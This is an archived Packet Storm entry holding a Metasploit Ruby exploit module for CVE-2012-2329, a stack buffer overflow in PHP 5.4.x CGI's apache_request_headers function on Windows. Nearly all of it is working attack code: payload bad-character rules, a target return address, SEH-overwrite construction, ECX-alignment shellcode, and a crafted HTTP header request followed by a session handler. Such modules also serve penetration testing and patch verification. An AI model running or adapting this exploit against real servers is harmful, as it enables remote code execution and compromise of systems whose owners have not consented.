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packetstormJuan vazquezPACKETSTORM:113815
HistoryJun 17, 2012 - 12:00 a.m.

PHP apache_request_headers Function Buffer Overflow

2012-06-1700:00:00
juan vazquez
packetstormsecurity.com
32

0.392 Low

EPSS

Percentile

96.9%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'PHP apache_request_headers Function Buffer Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow in the CGI version of PHP  
5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the  
HTTP headers.  
  
This module has been tested against the thread safe version of PHP 5.4.2,  
from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com".  
},  
'Author' =>  
[  
'Vincent Danen', # Vulnerability discovery  
'juan vazquez', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2012-2329'],  
[ 'OSVDB', '82215'],  
[ 'BID', '53455'],  
[ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ],  
[ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'],  
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1321,  
'DisableNops' => true,  
'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"),  
'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe,  
'EncoderOptions' =>  
{  
'BufferOffset' => 0x0  
}  
},  
'Platform' => 'win',  
'Targets' =>  
[  
['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe',  
{  
'Ret' => 0x1002aa79, # ppr from php5ts.dll  
'Offset' => 1332  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'May 08 2012'))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']),  
], self.class)  
  
end  
  
def exploit  
print_status("Trying target #{target.name}...")  
  
# Make ECX point to the start of the encoded payload  
align_ecx = "pop esi\n" # "\x5e"  
esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler  
8 + # len(nseh + seh)  
5 - # len(call back)  
11 # len(align_ecx)  
align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF")  
align_ecx << "sub ecx, ecx\n" # "\x29\xC9"  
align_ecx << "add ecx, esi" # "\x01\xf1"  
sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string  
# Encoded payload  
sploit << payload.encoded  
# Padding if needed  
sploit << rand_text(target['Offset']-sploit.length)  
# SEH handler overwrite  
sploit << generate_seh_record(target.ret)  
# Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF")  
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string  
# Make it crash  
sploit << rand_text(4096 - sploit.length)  
  
print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")  
  
res = send_request_cgi({  
'uri' => target_uri.to_s,  
'method' => 'GET',  
'headers' =>  
{  
"HTTP_X_#{rand_text_alpha_lower(4)}" => sploit,  
}  
})  
  
if res and res.code == 500  
print_status "We got a 500 error code. Even without a session it could be an exploitation signal!"  
end  
  
handler  
end  
end  
  
`